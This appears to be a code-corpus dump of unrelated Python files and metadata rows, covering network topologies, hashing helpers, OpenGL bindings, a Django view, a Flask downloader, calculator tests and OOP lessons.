def implicit_wait(self):
self.driver.implicitly_wait(10) | 24.47619 | 61 | 0.677043 | 55 | 514 | 6.163636 | 0.527273 | 0.147493 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.01039 | 0.250973 | 514 | 21 | 62 | 24.47619 | 0.87013 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.214286 | false | 0 | 0.142857 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
4620512d639e2a5d97e4f0f0858dfee7bfe3ebb2 | 1,516 | py | Python | vplsSinVlan.py | javicond3/mininetVPLS | 73164f175d2a1873ccab2a317bd09aa5d09bdda6 | [
"Unlicense"
] | null | null | null | vplsSinVlan.py | javicond3/mininetVPLS | 73164f175d2a1873ccab2a317bd09aa5d09bdda6 | [
"Unlicense"
] | null | null | null | vplsSinVlan.py | javicond3/mininetVPLS | 73164f175d2a1873ccab2a317bd09aa5d09bdda6 | [
"Unlicense"
] | null | null | null | """Custom topology example
Two directly connected switches plus a host for each switch:
host --- switch --- switch --- host
Adding the 'topos' dict with a key/value pair to generate our newly defined
topology enables one to pass in '--topo=mytopo' from the command line.
"""
from mininet.topo import Topo
class MyTopo( Topo ):
"Simple topology example."
def __init__( self ):
"Create custom topo."
# Initialize topology
Topo.__init__( self )
# Add hosts and switches
h1 = self.addHost('h1', mac='00:00:00:00:00:01')
h2 = self.addHost('h2')
h3 = self.addHost('h3')
h4 = self.addHost('h4')
h5 = self.addHost('h5')
h6 = self.addHost('h6')
s1 = self.addSwitch('s1')
s2 = self.addSwitch('s2')
s3 = self.addSwitch('s3')
s4 = self.addSwitch('s4')
s5 = self.addSwitch('s5')
s6 = self.addSwitch('s6')
# Add links
self.addLink(s1, h1, port1=1, port2=0)
self.addLink(s2, h2, port1=1, port2=0)
self.addLink(s3, h3, port1=1, port2=0)
self.addLink(s4, h4, port1=1, port2=0)
self.addLink(s5, h5, port1=1, port2=0)
self.addLink(s6, h6, port1=1, port2=0)
self.addLink(s1, s2)
self.addLink(s2, s3)
self.addLink(s3, s4)
self.addLink(s4, s1)
self.addLink(s4, s2)
self.addLink(s1, s5)
self.addLink(s4, s5)
self.addLink(s2, s6)
self.addLink(s3, s6)
topos = { 'vpls': ( lambda: MyTopo() ) }
| 26.137931 | 75 | 0.582454 | 214 | 1,516 | 4.088785 | 0.336449 | 0.188571 | 0.075429 | 0.082286 | 0.157714 | 0.157714 | 0 | 0 | 0 | 0 | 0 | 0.081596 | 0.272427 | 1,516 | 57 | 76 | 26.596491 | 0.711695 | 0.034301 | 0 | 0 | 1 | 0 | 0.074576 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.029412 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
4626213aaa7096da9c7ee3b429d3bfce1126595c | 1,721 | py | Python | link_to_the_past/hashes.py | zsquareplusc/lttp-backup | 32862ec136c9bda412256142c7d44d1564aab784 | [
"BSD-3-Clause"
] | null | null | null | link_to_the_past/hashes.py | zsquareplusc/lttp-backup | 32862ec136c9bda412256142c7d44d1564aab784 | [
"BSD-3-Clause"
] | null | null | null | link_to_the_past/hashes.py | zsquareplusc/lttp-backup | 32862ec136c9bda412256142c7d44d1564aab784 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python3
# encoding: utf-8
#
# (C) 2012-2016 Chris Liechti <cliechti@gmx.net>
#
# SPDX-License-Identifier: BSD-3-Clause
"""\
Link To The Past - a backup tool
Hash functions and commands.
"""
import hashlib
import zlib
class CRC32(object):
"""\
CRC32 API compatible to the hashlib functions (subset used by this program).
>>> h = CRC32()
>>> h.update(b'Hello World')
>>> h.hexdigest()
'4a17b156'
"""
def __init__(self):
self.value = 0
def update(self, data):
self.value = zlib.crc32(data, self.value) & 0xffffffff
def hexdigest(self):
return '{:08x}'.format(self.value)
class NoHash(object):
"""\
API compatible to the hashlib functions (subset used by this program).
>>> h = NoHash()
>>> h.update(b'Hello World')
>>> h.hexdigest()
'-'
"""
def __init__(self):
pass
def update(self, data):
pass
def hexdigest(self):
return '-'
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SUPPORTED_HASHES = {
'NONE': NoHash,
'CRC32': CRC32,
'MD5': hashlib.md5,
'SHA-256': hashlib.sha256,
'SHA-512': hashlib.sha512,
}
def get_factory(name):
"""\
Get an object for calculating a hash.
>>> f = get_factory('SHA-256')
>>> h = f()
>>> h.update(b'Hello World')
>>> h.hexdigest()
'a591a6d40bf420404a011733cfb7b190d62c65bf0bcda32b57b277d9ad9f146e'
"""
if name is None:
name = 'NONE'
return SUPPORTED_HASHES[name.upper()]
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
if __name__ == '__main__':
import doctest
doctest.testmod()
| 20.247059 | 80 | 0.535735 | 184 | 1,721 | 4.902174 | 0.472826 | 0.039911 | 0.026608 | 0.043237 | 0.221729 | 0.221729 | 0.221729 | 0.128603 | 0.128603 | 0.128603 | 0 | 0.072182 | 0.283556 | 1,721 | 84 | 81 | 20.488095 | 0.659367 | 0.480535 | 0 | 0.266667 | 0 | 0 | 0.057841 | 0 | 0 | 0 | 0.012853 | 0 | 0 | 1 | 0.233333 | false | 0.066667 | 0.1 | 0.066667 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
4634863621fdac26b1771cdeb54c5f5a51a3dcb7 | 1,448 | py | Python | OpenGLWrapper_JE/venv/Lib/site-packages/OpenGL/raw/GL/EXT/paletted_texture.py | JE-Chen/je_old_repo | a8b2f1ac2eec25758bd15b71c64b59b27e0bcda5 | [
"MIT"
] | null | null | null | OpenGLWrapper_JE/venv/Lib/site-packages/OpenGL/raw/GL/EXT/paletted_texture.py | JE-Chen/je_old_repo | a8b2f1ac2eec25758bd15b71c64b59b27e0bcda5 | [
"MIT"
] | null | null | null | OpenGLWrapper_JE/venv/Lib/site-packages/OpenGL/raw/GL/EXT/paletted_texture.py | JE-Chen/je_old_repo | a8b2f1ac2eec25758bd15b71c64b59b27e0bcda5 | [
"MIT"
] | null | null | null | '''Autogenerated by xml_generate script, do not edit!'''
from OpenGL import platform as _p, arrays
# Code generation uses this
from OpenGL.raw.GL import _types as _cs
# End users want this...
from OpenGL.raw.GL._types import *
from OpenGL.raw.GL import _errors
from OpenGL.constant import Constant as _C
import ctypes
_EXTENSION_NAME = 'GL_EXT_paletted_texture'
def _f( function ):
return _p.createFunction( function,_p.PLATFORM.GL,'GL_EXT_paletted_texture',error_checker=_errors._error_checker)
GL_COLOR_INDEX12_EXT=_C('GL_COLOR_INDEX12_EXT',0x80E6)
GL_COLOR_INDEX16_EXT=_C('GL_COLOR_INDEX16_EXT',0x80E7)
GL_COLOR_INDEX1_EXT=_C('GL_COLOR_INDEX1_EXT',0x80E2)
GL_COLOR_INDEX2_EXT=_C('GL_COLOR_INDEX2_EXT',0x80E3)
GL_COLOR_INDEX4_EXT=_C('GL_COLOR_INDEX4_EXT',0x80E4)
GL_COLOR_INDEX8_EXT=_C('GL_COLOR_INDEX8_EXT',0x80E5)
GL_TEXTURE_INDEX_SIZE_EXT=_C('GL_TEXTURE_INDEX_SIZE_EXT',0x80ED)
@_f
@_p.types(None,_cs.GLenum,_cs.GLenum,_cs.GLsizei,_cs.GLenum,_cs.GLenum,ctypes.c_void_p)
def glColorTableEXT(target,internalFormat,width,format,type,table):pass
@_f
@_p.types(None,_cs.GLenum,_cs.GLenum,_cs.GLenum,ctypes.c_void_p)
def glGetColorTableEXT(target,format,type,data):pass
@_f
@_p.types(None,_cs.GLenum,_cs.GLenum,arrays.GLfloatArray)
def glGetColorTableParameterfvEXT(target,pname,params):pass
@_f
@_p.types(None,_cs.GLenum,_cs.GLenum,arrays.GLintArray)
def glGetColorTableParameterivEXT(target,pname,params):pass
| 43.878788 | 118 | 0.810083 | 229 | 1,448 | 4.69869 | 0.340611 | 0.078067 | 0.039033 | 0.061338 | 0.274164 | 0.174721 | 0.174721 | 0.174721 | 0.174721 | 0.068773 | 0 | 0.032282 | 0.080111 | 1,448 | 32 | 119 | 45.25 | 0.775526 | 0.069061 | 0 | 0.142857 | 1 | 0 | 0.142857 | 0.05424 | 0 | 0 | 0.032086 | 0 | 0 | 1 | 0.178571 | false | 0.142857 | 0.214286 | 0.035714 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
4634eaef2f0ee2edb50cfda3fdc934ed5f0de8df | 1,494 | py | Python | backend/apps/csyllabusapi/views/university.py | CSyllabus/webapp | 06391d43d97453a135ff78ff8dcdd35846c94d30 | [
"MIT"
] | 3 | 2017-11-02T11:24:09.000Z | 2017-12-08T15:33:43.000Z | backend/apps/csyllabusapi/views/university.py | CSyllabus/webapp | 06391d43d97453a135ff78ff8dcdd35846c94d30 | [
"MIT"
] | 2 | 2017-11-04T10:03:44.000Z | 2017-12-31T08:26:36.000Z | backend/apps/csyllabusapi/views/university.py | CSyllabus/webapp | 06391d43d97453a135ff78ff8dcdd35846c94d30 | [
"MIT"
] | null | null | null | from rest_framework.parsers import JSONParser, FileUploadParser
from rest_framework.views import APIView
from ..models import City
from ..models import Country
from ..models import University
from ..models import Faculty
from ..models import Program
from rest_framework.decorators import api_view, permission_classes
from rest_framework.response import Response
from rest_framework import permissions
from rest_framework.decorators import parser_classes
from django.utils import timezone
try:
from django.utils import simplejson as json
except ImportError:
import json
@permission_classes((permissions.AllowAny,))
@parser_classes((JSONParser,))
class UniversityView(APIView):
def post(self, request):
name = request.data['name']
country = Country.objects.get(id=request.data['country_id'])
city = City.objects.get(id=request.data['city_id'])
University.objects.create(name=name, country=country, city=city)
return Response()
def delete(selfself, request):
id = request.data['id']
University.objects.filter(id=id).delete()
return Response()
def put(selfself, request):
id = request.data['id']
name = request.data['name']
country = Country.objects.get(id=request.data['country_id'])
city = City.objects.get(id=request.data['city_id'])
University.objects.filter(id=id).update(name=name, country=country, city=city, modified=timezone.now())
return Response()
| 33.954545 | 111 | 0.726238 | 187 | 1,494 | 5.721925 | 0.283422 | 0.082243 | 0.095327 | 0.071028 | 0.430841 | 0.369159 | 0.22243 | 0.22243 | 0.22243 | 0.22243 | 0 | 0 | 0.168005 | 1,494 | 43 | 112 | 34.744186 | 0.860821 | 0 | 0 | 0.305556 | 0 | 0 | 0.03079 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | false | 0 | 0.416667 | 0 | 0.611111 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
4638b2719be97e9698ba7de333d5a9c1e9271178 | 947 | py | Python | app.py | Arpan-206/Youtube-Downloader-Flask | 8ac6233e238d99c4a13d4d00afa2574d156cb80e | [
"MIT"
] | 3 | 2021-04-28T09:49:43.000Z | 2022-01-03T13:03:02.000Z | app.py | Arpan-206/Youtube-Downloader-Flask | 8ac6233e238d99c4a13d4d00afa2574d156cb80e | [
"MIT"
] | null | null | null | app.py | Arpan-206/Youtube-Downloader-Flask | 8ac6233e238d99c4a13d4d00afa2574d156cb80e | [
"MIT"
] | null | null | null | from flask import Flask, request, send_file, render_template, url_for
import pytube
import logging
import sys
import os
from hello import timed_delete
from threading import Timer
timed_delete()
logging.basicConfig(stream=sys.stderr, level=logging.DEBUG)
app = Flask(__name__)
@app.route("/")
def youtube_downloader():
my_css = url_for('static', filename='cover.css')
return render_template('index.html', css_path= my_css)
@app.route("/download_video", methods=["GET","POST"])
def download_video():
"""
First pytube downloads the file locally in pythonanywhere:
/home/your_username/video_name.mp4
Then use Flask's send_file() to download the video
to the user's Downloads folder.
"""
local_download_path = pytube.YouTube("https://www.youtube.com/watch?v=b1JlYZQG3lI").streams.get_highest_resolution().download()
fname = local_download_path.split("//")
return send_file(fname, as_attachment=True)
| 31.566667 | 131 | 0.744456 | 132 | 947 | 5.128788 | 0.568182 | 0.035451 | 0.050222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003672 | 0.137276 | 947 | 29 | 132 | 32.655172 | 0.824969 | 0.187962 | 0 | 0 | 0 | 0 | 0.125846 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.105263 | false | 0 | 0.368421 | 0 | 0.578947 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
463d1c29208fd7d810aca90bed20af06afc212fd | 3,272 | py | Python | Validation/valid_view_point_cloud.py | dtczhl/Slimmer | c93dac6a59828016484d8bef1c71e9ccceabab9c | [
"MIT"
] | null | null | null | Validation/valid_view_point_cloud.py | dtczhl/Slimmer | c93dac6a59828016484d8bef1c71e9ccceabab9c | [
"MIT"
] | null | null | null | Validation/valid_view_point_cloud.py | dtczhl/Slimmer | c93dac6a59828016484d8bef1c71e9ccceabab9c | [
"MIT"
] | null | null | null | """
view predication for point cloud,
Run valid_one_point_cloud first
"""
import torch
import numpy as np
import sys
import os
import pptk
# ------ Configurations ------
# path to pth file
pth_file = "../tmp/scene0015_00_vh_clean_2.pth.Random.100"
show_gt = False # show groundtruth or not; groudtruth draw first, i.e., on back
# --- end of configurations ---
CLASS_LABELS = ['wall', 'floor', 'cabinet', 'bed', 'chair', 'sofa', 'table', 'door', 'window', 'bookshelf',
'picture', 'counter', 'desk', 'curtain', 'refrigerator', 'shower curtain', 'toilet', 'sink',
'bathtub', 'otherfurniture']
# CLASS_COLOR = [
# [138, 43, 226], [0, 128, 128], [0, 255, 0], [0, 0, 255], [255, 255, 0],
# [0, 255, 255], [255, 0, 255], [192, 192, 192], [128, 128, 128], [128, 0, 0],
# [128, 128, 0], [0, 128, 0], [128, 0, 128], [255, 0, 0], [0, 0, 128],
# [34, 139, 34], [64, 224, 208], [0, 0, 0], [75, 0, 130], [205, 133, 63]
# ]
SCANNET_COLOR_MAP = SCANNET_COLOR_MAP = {
0: (0., 0., 0.),
1: (174., 199., 232.),
2: (152., 223., 138.),
3: (31., 119., 180.),
4: (255., 187., 120.),
5: (188., 189., 34.),
6: (140., 86., 75.),
7: (255., 152., 150.),
8: (214., 39., 40.),
9: (197., 176., 213.),
10: (148., 103., 189.),
11: (196., 156., 148.),
12: (23., 190., 207.),
14: (247., 182., 210.),
15: (66., 188., 102.),
16: (219., 219., 141.),
17: (140., 57., 197.),
18: (202., 185., 52.),
19: (51., 176., 203.),
20: (200., 54., 131.),
21: (92., 193., 61.),
22: (78., 71., 183.),
23: (172., 114., 82.),
24: (255., 127., 14.),
25: (91., 163., 138.),
26: (153., 98., 156.),
27: (140., 153., 101.),
28: (158., 218., 229.),
29: (100., 125., 154.),
30: (178., 127., 135.),
32: (146., 111., 194.),
33: (44., 160., 44.),
34: (112., 128., 144.),
35: (96., 207., 209.),
36: (227., 119., 194.),
37: (213., 92., 176.),
38: (94., 106., 211.),
39: (82., 84., 163.),
40: (100., 85., 144.),
}
VALID_CLASS_IDS = [
1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14, 16, 24, 28, 33, 34, 36, 39
]
CLASS_COLOR = []
for valid_id in VALID_CLASS_IDS:
CLASS_COLOR.append(SCANNET_COLOR_MAP[valid_id])
CLASS_COLOR = np.array(CLASS_COLOR) / 255.0
def show_predication_result(pth_file, show_gt):
data = torch.load(pth_file)
coords, colors, labels, pred = data
ignore_index = labels == -100
coords = coords[~ignore_index]
colors = colors[~ignore_index]
labels = labels[~ignore_index]
pred = pred[~ignore_index]
gt_color = [CLASS_COLOR[x] for x in labels.astype("int32")]
pred_color = [CLASS_COLOR[x] for x in pred.astype("int32")]
if show_gt:
v1 = pptk.viewer(coords, gt_color)
v1.set(point_size=0.01, bg_color=[1, 1, 1, 1], floor_color=[1, 1, 1, 1], show_grid=False, show_axis=False, show_info=False)
v1.set(theta=1.8, lookat=[0, 0, 0], phi=0.52)
v2 = pptk.viewer(coords, pred_color)
v2.set(point_size=0.01, bg_color=[1, 1, 1, 1], floor_color=[1, 1, 1, 1], show_grid=False, show_axis=False, show_info=False)
v2.set(theta=1.8, lookat=[0, 0, 0], phi=0.52)
if __name__ == "__main__":
show_predication_result(pth_file, show_gt)
| 30.579439 | 131 | 0.537897 | 514 | 3,272 | 3.291829 | 0.453307 | 0.020095 | 0.014184 | 0.018913 | 0.213948 | 0.202719 | 0.189125 | 0.122931 | 0.122931 | 0.122931 | 0 | 0.242846 | 0.231051 | 3,272 | 106 | 132 | 30.867925 | 0.42965 | 0.161064 | 0 | 0 | 0 | 0 | 0.072426 | 0.016544 | 0 | 0 | 0 | 0 | 0 | 1 | 0.012987 | false | 0 | 0.064935 | 0 | 0.077922 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
464c2239f3ce7da17665c8d65313e5b7bfe44898 | 762 | py | Python | codeEval/hard/levenshtein_distance.py | ferhatelmas/algo | a7149c7a605708bc01a5cd30bf5455644cefd04d | [
"WTFPL"
] | 25 | 2015-01-21T16:39:18.000Z | 2021-05-24T07:01:24.000Z | codeEval/hard/levenshtein_distance.py | ferhatelmas/algo | a7149c7a605708bc01a5cd30bf5455644cefd04d | [
"WTFPL"
] | 2 | 2020-09-30T19:39:36.000Z | 2020-10-01T17:15:16.000Z | codeEval/hard/levenshtein_distance.py | ferhatelmas/algo | a7149c7a605708bc01a5cd30bf5455644cefd04d | [
"WTFPL"
] | 15 | 2015-01-21T16:39:27.000Z | 2020-10-01T17:00:22.000Z | import sys
from string import ascii_lowercase as alphabet
def generate_neighbours(ws, s):
ls, l = set(), len(s)
for i in xrange(l + 1):
ls.add(s[:i] + s[i + 1 :])
for e in alphabet:
ls.add(s[:i] + e + s[i:])
if i < l and e != s[i]:
ls.add(s[:i] + e + s[i + 1 :])
return ls.intersection(ws)
def generate_network(ws, s):
gen, r = generate_neighbours(ws, s), set(s)
while len(gen) > 0:
s = gen.pop()
if s not in r:
r.add(s)
gen.update(generate_neighbours(ws, s))
return len(r.intersection(ws))
test_cases = open(sys.argv[1], "r")
words = set([test.strip() for test in test_cases])
test_cases.close()
print generate_network(words, "hello")
| 25.4 | 50 | 0.552493 | 125 | 762 | 3.296 | 0.36 | 0.033981 | 0.145631 | 0.152913 | 0.048544 | 0.048544 | 0.048544 | 0 | 0 | 0 | 0 | 0.009259 | 0.291339 | 762 | 29 | 51 | 26.275862 | 0.753704 | 0 | 0 | 0 | 1 | 0 | 0.007874 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.086957 | null | null | 0.043478 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
46628dc5cc0651a6487fc8978ac7257bc4e97455 | 3,774 | py | Python | test_calculator.py | Kidatoy/Advanced-Calculator | ebd3e436894116ec35b08872ffecdf762b079670 | [
"MIT"
] | null | null | null | test_calculator.py | Kidatoy/Advanced-Calculator | ebd3e436894116ec35b08872ffecdf762b079670 | [
"MIT"
] | null | null | null | test_calculator.py | Kidatoy/Advanced-Calculator | ebd3e436894116ec35b08872ffecdf762b079670 | [
"MIT"
] | null | null | null | import unittest # https://docs.python.org/3/library/unittest.html
from modules.calculator import Calculator as Calc
class TestCalculator(unittest.TestCase):
"""
Test Driven Development Unittest File
Module: Calculator
Updated: 12/16/2019
Author: Kida Toy
"""
def test_addition(self):
"""
Evaluate addition corner cases
"""
self.assertEqual(2, Calc().eval('1+1'))
self.assertEqual(2, Calc().eval('1.0+1.0'))
self.assertEqual(0, Calc().eval('-1+1'))
self.assertEqual(-2, Calc().eval('-1+-1'))
def test_subtraction(self):
"""
Evaluate subtraction corner cases
"""
self.assertEqual(0, Calc().eval('1-1'))
self.assertEqual(-2, Calc().eval('-1-1'))
self.assertEqual(0, Calc().eval('-1--1'))
def test_multiplication(self):
"""
Evaluate multiplication corner cases
"""
self.assertEqual(0, Calc().eval('1*0'))
self.assertEqual(0, Calc().eval('0*-1'))
self.assertEqual(1, Calc().eval('1*1'))
self.assertEqual(-1, Calc().eval('-1*1'))
self.assertEqual(1, Calc().eval('-1*-1'))
self.assertEqual(1, Calc().eval('.25*4'))
def test_division(self):
"""
Test division corner cases
Note: division by zero is handled in test_exceptions
"""
self.assertEqual(1, Calc().eval('1/1'))
self.assertEqual(.25, Calc().eval('1/4'))
self.assertEqual(-1, Calc().eval('-1/1'))
self.assertEqual(1, Calc().eval('-1/-1'))
self.assertEqual(0, Calc().eval('0/-1'))
def test_exponents(self):
"""
Test exponent corner cases
"""
self.assertEqual(1, Calc().eval('2^0'))
self.assertEqual(2, Calc().eval('2^1'))
self.assertEqual(4, Calc().eval('2^2'))
self.assertEqual(.5, Calc().eval('2^-1'))
self.assertEqual(4, Calc().eval('-2^2'))
def test_parentheses(self):
"""
Test parentheses corner cases
"""
self.assertEqual(5.0, Calc().eval('(4.0)+1'))
self.assertEqual(3.0, Calc().eval('(4+1)-2'))
self.assertEqual(5.0, Calc().eval('(5+-5)+5'))
self.assertEqual(-5.0, Calc().eval('(-10+3)+2'))
self.assertEqual(-26.0, Calc().eval('10-(3*2)^2'))
def test_pi(self):
"""
Test pi corner cases
"""
self.assertEqual(4.1415926535, Calc().eval('(pi)+1'))
self.assertEqual(1.1415926535, Calc().eval('(pi)-2'))
self.assertEqual(3.1415926535, Calc().eval('(pi+-5)+5'))
self.assertEqual(1.8584073465, Calc().eval('(-pi+3)+2'))
self.assertEqual(-29.478417602100684, Calc().eval('10-(pi*2)^2'))
self.assertEqual(1.57079632675, Calc().eval('pi/2'))
def test_e(self):
"""
Test e corner cases
"""
self.assertEqual(3.7182818284, Calc().eval('(e)+1'))
self.assertEqual(0.7182818283999999, Calc().eval('(e)-2'))
self.assertEqual(2.7182818284, Calc().eval('(e+-5)+5'))
self.assertEqual(2.2817181716, Calc().eval('(-e+3)+2'))
self.assertEqual(-19.556224394438587, Calc().eval('10-(e*2)^2'))
self.assertEqual(1.3591409142, Calc().eval('e/2'))
def test_phi(self):
"""
Test phi corner cases
"""
self.assertEqual(2.6180339886999997, Calc().eval('(phi)+1'))
self.assertEqual(-0.3819660113000001, Calc().eval('(phi)-2'))
self.assertEqual(1.6180339886999997, Calc().eval('(phi+-5)+5'))
self.assertEqual(3.3819660113000003, Calc().eval('(-phi+3)+2'))
self.assertEqual(-0.47213595435372646, Calc().eval('10-(phi*2)^2'))
self.assertEqual(0.80901699435, Calc().eval('phi/2'))
| 36.640777 | 75 | 0.560943 | 481 | 3,774 | 4.380457 | 0.160083 | 0.32748 | 0.129094 | 0.056953 | 0.365449 | 0.311343 | 0.261035 | 0.245847 | 0.223541 | 0.180826 | 0 | 0.135658 | 0.232379 | 3,774 | 102 | 76 | 37 | 0.591647 | 0.117647 | 0 | 0 | 0 | 0 | 0.086492 | 0 | 0 | 0 | 0 | 0 | 0.793103 | 1 | 0.155172 | false | 0 | 0.034483 | 0 | 0.206897 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
467608de6f71ab4b616b2d09915c4d849b7654e0 | 624 | py | Python | premailer/tests/test_utils.py | p12tic/premailer | ebfd310dbd0a88b465e811411f67a360e11f3292 | [
"BSD-3-Clause"
] | null | null | null | premailer/tests/test_utils.py | p12tic/premailer | ebfd310dbd0a88b465e811411f67a360e11f3292 | [
"BSD-3-Clause"
] | 1 | 2018-11-23T11:58:22.000Z | 2018-11-23T13:58:13.000Z | premailer/tests/test_utils.py | lavr/premailer | ebfd310dbd0a88b465e811411f67a360e11f3292 | [
"BSD-3-Clause"
] | null | null | null | import unittest
from premailer.premailer import capitalize_float_margin
class UtilsTestCase(unittest.TestCase):
def testcapitalize_float_margin(self):
self.assertEqual(
capitalize_float_margin('margin:1em'),
'Margin:1em')
self.assertEqual(
capitalize_float_margin('margin-left:1em'),
'Margin-left:1em')
self.assertEqual(
capitalize_float_margin('float:right;'),
'Float:right;')
self.assertEqual(
capitalize_float_margin('float:right;color:red;margin:0'),
'Float:right;color:red;Margin:0')
| 31.2 | 70 | 0.639423 | 64 | 624 | 6.046875 | 0.3125 | 0.170543 | 0.271318 | 0.310078 | 0.573643 | 0.573643 | 0.237726 | 0 | 0 | 0 | 0 | 0.012848 | 0.251603 | 624 | 19 | 71 | 32.842105 | 0.815846 | 0 | 0 | 0.25 | 0 | 0 | 0.214744 | 0.096154 | 0 | 0 | 0 | 0 | 0.25 | 1 | 0.0625 | false | 0 | 0.125 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
4677247e7b07ffee44bb30042c587480349f229e | 914 | py | Python | POO/Heranca/aula107_classes.py | pinheirogus/Curso-Python-Udemy | d6d52320426172e924081b9df619490baa8c6016 | [
"MIT"
] | 1 | 2021-09-01T01:58:13.000Z | 2021-09-01T01:58:13.000Z | POO/Heranca/aula107_classes.py | pinheirogus/Curso-Python-Udemy | d6d52320426172e924081b9df619490baa8c6016 | [
"MIT"
] | null | null | null | POO/Heranca/aula107_classes.py | pinheirogus/Curso-Python-Udemy | d6d52320426172e924081b9df619490baa8c6016 | [
"MIT"
] | null | null | null | # Generalizando para não repetir o código!
class Pessoa:
def __init__(self, nome, idade):
self.nome = nome
self.idade = idade
self.nomeclasse = self.__class__.__name__
def falar(self):
print(f'{self.nomeclasse} está falando.')
class Cliente(Pessoa):
def comprar(self):
print(f'{self.nomeclasse} está comprando...')
class Aluno(Pessoa):
def estudar(self):
print(f'{self.nomeclasse} está estudando...')
class ClienteVIP(Cliente):
def __init__(self, nome, idade, sobrenome):
super().__init__(nome, idade)
print(f'{self.nome}, {self.idade} anos, criado com sucesso.')
self.sobrenome = sobrenome
def falar(self):
Pessoa.falar(self)
# Como a classe Cliente não possui o método falar(), o Python busca na superclasse o método.
Cliente.falar(self)
print(f'{self.nome} {self.sobrenome}') | 28.5625 | 100 | 0.63895 | 114 | 914 | 4.947368 | 0.368421 | 0.070922 | 0.088652 | 0.099291 | 0.308511 | 0.148936 | 0 | 0 | 0 | 0 | 0 | 0 | 0.237418 | 914 | 32 | 101 | 28.5625 | 0.809182 | 0.143326 | 0 | 0.090909 | 0 | 0 | 0.230474 | 0 | 0 | 0 | 0 | 0.03125 | 0 | 1 | 0.272727 | false | 0 | 0 | 0 | 0.454545 | 0.227273 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
46779bc59fb8e412188640c04f3538454363b415 | 13,483 | py | Python | Package/CONFIG.py | YuanYuLin/samba | ef8aaca2c539b0d241414e7f335b4ff939461558 | [
"MIT"
] | null | null | null | Package/CONFIG.py | YuanYuLin/samba | ef8aaca2c539b0d241414e7f335b4ff939461558 | [
"MIT"
] | null | null | null | Package/CONFIG.py | YuanYuLin/samba | ef8aaca2c539b0d241414e7f335b4ff939461558 | [
"MIT"
] | null | null | null | import ops
import iopc
TARBALL_FILE="samba-4.8.4.tar.gz"
TARBALL_DIR="samba-4.8.4"
